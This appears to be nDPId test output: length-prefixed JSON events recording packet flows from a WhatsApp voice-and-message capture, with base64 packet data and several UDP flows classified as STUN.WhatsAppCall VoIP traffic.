+00534{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820559,"pkt_ts_usec":476849,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"ABoRAAACABoRAAABCABFAAB2AARAABAG9Jm4rbMuCggAAQG7ipj561IVBhSunVAY\/\/947gAAAAAF+AMBOpEAAAP4AZyAAD1OgLSiaaQrzr8UZsQjad9laQ\/IG0pIbb4NDDxKJfzZf4yh53qt3rMgvUYKnSpxezbq7xSEMyS8PayGaedL"} +00425{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820559,"pkt_ts_usec":527173,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo9pFAAEAGzlkKCAABuK2zLoqYAbsGFK6d+etSY1AQOQhzkwAA"} +00467{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820559,"pkt_ts_usec":527234,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG9pJAAEAGzjoKCAABuK2zLoqYAbsGFK6d+etSY1AYOQgF6QAAgAAbYM6uygXV2FuR4uikwR70\/U9hc4kK6kXd\/rFT"} +00427{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820559,"pkt_ts_usec":527356,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAAVAABAG9Oa4rbMuCggAAQG7ipj561JjBhSuu1AQ\/\/+sfQAA"} +00460{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820559,"pkt_ts_usec":837292,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"ABoRAAACABoRAAABCABFAAA\/9pNAAEAGzkAKCAABuK2zLoqYAbsGFK67+etSY1AYOQjewgAAgAAU5RlXN+oKKd7wcux2QBsbRWNVpyY="} +00429{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820559,"pkt_ts_usec":837475,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAAZAABAG9OW4rbMuCggAAQG7ipj561JjBhSu0lAQ\/\/+sZgAA"} +00662{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820560,"pkt_ts_usec":37274,"pkt_caplen":223,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":223,"pkt_l4_len":189,"pkt":"ABoRAAACABoRAAABCABFAADRAAdAABAG9Du4rbMuCggAAQG7ipj561JjBhSu0lAY\/\/+oUwAAgACm2slBsNBD2eXbX22IuM3eZfnqQ0M5jbKArr+gyXHHhDT1H5iY6ykOhJd49NMu1ytvC8G6zXgtkreBt3Kft18ZGxVzUbJjTFTuXaZLL+1kY2pcw3ZwnwzvFQH+Cirp7c97MeZqVo4zQnciukaKdrOMa1L0JQ5BhVfvG4EnGg\/ERgzvcXA925ZhIS4Dv6c\/mxd77G\/cb5gF0rYLCBfWI8vB0V9M+lENJA=="} +00427{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820560,"pkt_ts_usec":235242,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo9pRAAEAGzlYKCAABuK2zLoqYAbsGFK7S+etTDFAQPLhvBQAA"} +00471{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820560,"pkt_ts_usec":235333,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABI9pVAAEAGzjUKCAABuK2zLoqYAbsGFK7S+etTDFAYPLhs9wAAgAAddpKjam22WfwfcejRXzOwKhF5uWMahhWTEd2hQD4="} +00429{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820560,"pkt_ts_usec":235455,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAAhAABAG9OO4rbMuCggAAQG7ipj561MMBhSu8lAQ\/\/+rnQAA"} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1432820567259,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.84.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820567,"pkt_ts_usec":259228,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARvE0KCAABHw1UMNF0DZYAhk4lAAMAaiESpEIAANFg4Ox4XqyZamxAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":26,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1432820567259,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.84.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00470{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820567,"pkt_ts_usec":597088,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIAA5AABAR7VEfDVQwCggAAQ2W0XQANI6xAQMAGCESpEIAANFg4Ox4XqyZamwAIAAIAAHzk56wzx5AAgAIAAABTZrCzrs="} +00583{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820567,"pkt_ts_usec":597180,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARvE0KCAABHw1UMNF0DZYAhk4lAAMAaiESpEIAANFg4Ox4XqyZamxAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00471{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820567,"pkt_ts_usec":917126,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIAA9AABAR7VAfDVQwCggAAQ2W0XQANNaZAQMAGCESpEIAANFg4Ox4XqyZamwAIAAIAAGqbZ6wzx5AAgAIAAABTZrCz\/k="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1432820567917,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.74.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820567,"pkt_ts_usec":917248,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARxk0KCAABHw1KMNF0DZYAhknAAAMAaiESpEIAABwXmwtuMPN7N0hAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":30,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1432820567917,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.74.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00470{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820568,"pkt_ts_usec":117413,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABBAABAR908fDUowCggAAQ2W0XQANMmPAQMAGCESpEIAABwXmwtuMPN7N0gAIAAIAAGyFZ6wzx5AAgAIAAABTZrC0PY="} +00583{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820568,"pkt_ts_usec":118085,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARxk0KCAABHw1KMNF0DZYAhknAAAMAaiESpEIAABwXmwtuMPN7N0hAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00470{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820568,"pkt_ts_usec":346844,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABFAABAR904fDUowCggAAQ2W0XQANO2fAQMAGCESpEIAABwXmwtuMPN7N0gAIAAIAAGNHp6wzx5AAgAIAAABTZrC0d0="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1432820568346,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.64.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820568,"pkt_ts_usec":346936,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEAR0E0KCAABHw1AMNF0DZYAhjyrAAMAaiESpEIAAKkWq28lYULzqlFAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1432820568346,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.64.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00471{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820568,"pkt_ts_usec":646771,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABJAABARAU4fDUAwCggAAQ2W0XQANK\/IAQMAGCESpEIAAKkWq28lYULzqlEAIAAIAAG83p6wzx5AAgAIAAABTZrC0t8="} +00583{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820568,"pkt_ts_usec":646863,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEAR0E0KCAABHw1AMNF0DZYAhjyrAAMAaiESpEIAAKkWq28lYULzqlFAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00470{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820568,"pkt_ts_usec":946667,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABNAABARAU0fDUAwCggAAQ2W0XQANMbTAQMAGCESpEIAAKkWq28lYULzqlEAIAAIAAGkqZ6wzx5AAgAIAAABTZrC1Ak="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1432820568947,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.252.121.1","src_port":53620,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820568,"pkt_ts_usec":947491,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARCI0KCAABrfx5AdF0DZYAhjqZAAMAaiESpEIAAJtQaIETIh2AbQlAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00535{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":38,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1432820568947,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.252.121.1","src_port":53620,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00471{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820569,"pkt_ts_usec":197308,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABRAABAROYut\/HkBCggAAQ2W0XQANOG6AQMAGCESpEIAAJtQaIETIh2AbQkAIAAIAAGGsp6wzx5AAgAIAAABTZrC1Qc="} +00583{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820569,"pkt_ts_usec":197369,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARCI0KCAABrfx5AdF0DZYAhjqZAAMAaiESpEIAAJtQaIETIh2AbQlAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00471{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820569,"pkt_ts_usec":427136,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABVAABAROYqt\/HkBCggAAQ2W0XQANNKXAQMAGCESpEIAAJtQaIETIh2AbQkAIAAIAAGU1Z6wzx5AAgAIAAABTZrC1gc="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1432820569427,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"179.60.192.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820569,"pkt_ts_usec":427258,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARvB0KCAABszzAMNF0DZYAhkLTAAMAaiESpEIAALo2Lkt1PTwMswhAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00535{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1432820569427,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"179.60.192.48","src_port":53620,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00470{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820569,"pkt_ts_usec":716748,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABZAABAR7RmzPMAwCggAAQ2W0XQANM1bAQMAGCESpEIAALo2Lkt1PTwMswgAIAAIAAGhQp6wzx5AAgAIAAABTZrC1xA="} +00583{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820569,"pkt_ts_usec":716839,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARvB0KCAABszzAMNF0DZYAhkLTAAMAaiESpEIAALo2Lkt1PTwMswhAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00468{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820570,"pkt_ts_usec":6695,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABdAABAR7RizPMAwCggAAQ2W0XQANLmCAQMAGCESpEIAALo2Lkt1PTwMswgAIAAIAAGz+p6wzx5AAgAIAAABTZrC2DE="} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1432820570006,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.79.192","src_port":53620,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00581{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820570,"pkt_ts_usec":6787,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"ABoRAAACABoRAAABCABFwACaAABAAEARwL0KCAABHw1PwNF0DZYAhsORAAMAaiESpEIAAFk9lyNgFikbVyNAAABmAQCy86Qxc0\/TrfZVVa\/eTEZDohPoeRLoRZc1aFVhrGc1f8RW2vMjT5P8rAsiwZ+p9NloXItIT0xPBspixBWhh83rOo673FqXfKhsmqCbgcYysEXxS1G0BQlmTNaw3EzKh7wFRa3N"} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1432820570006,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"31.13.79.192","src_port":53620,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00472{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820570,"pkt_ts_usec":428723,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ABoRAAACABoRAAABCABFAABIABhAABAR8bcfDU\/ACggAAQ2W0XQANGvgAQMAGCESpEIAAFk9lyNgFikbVyMAIAAIAAGA\/J6wzx5AAgAIAAABTZrC2ZA="} 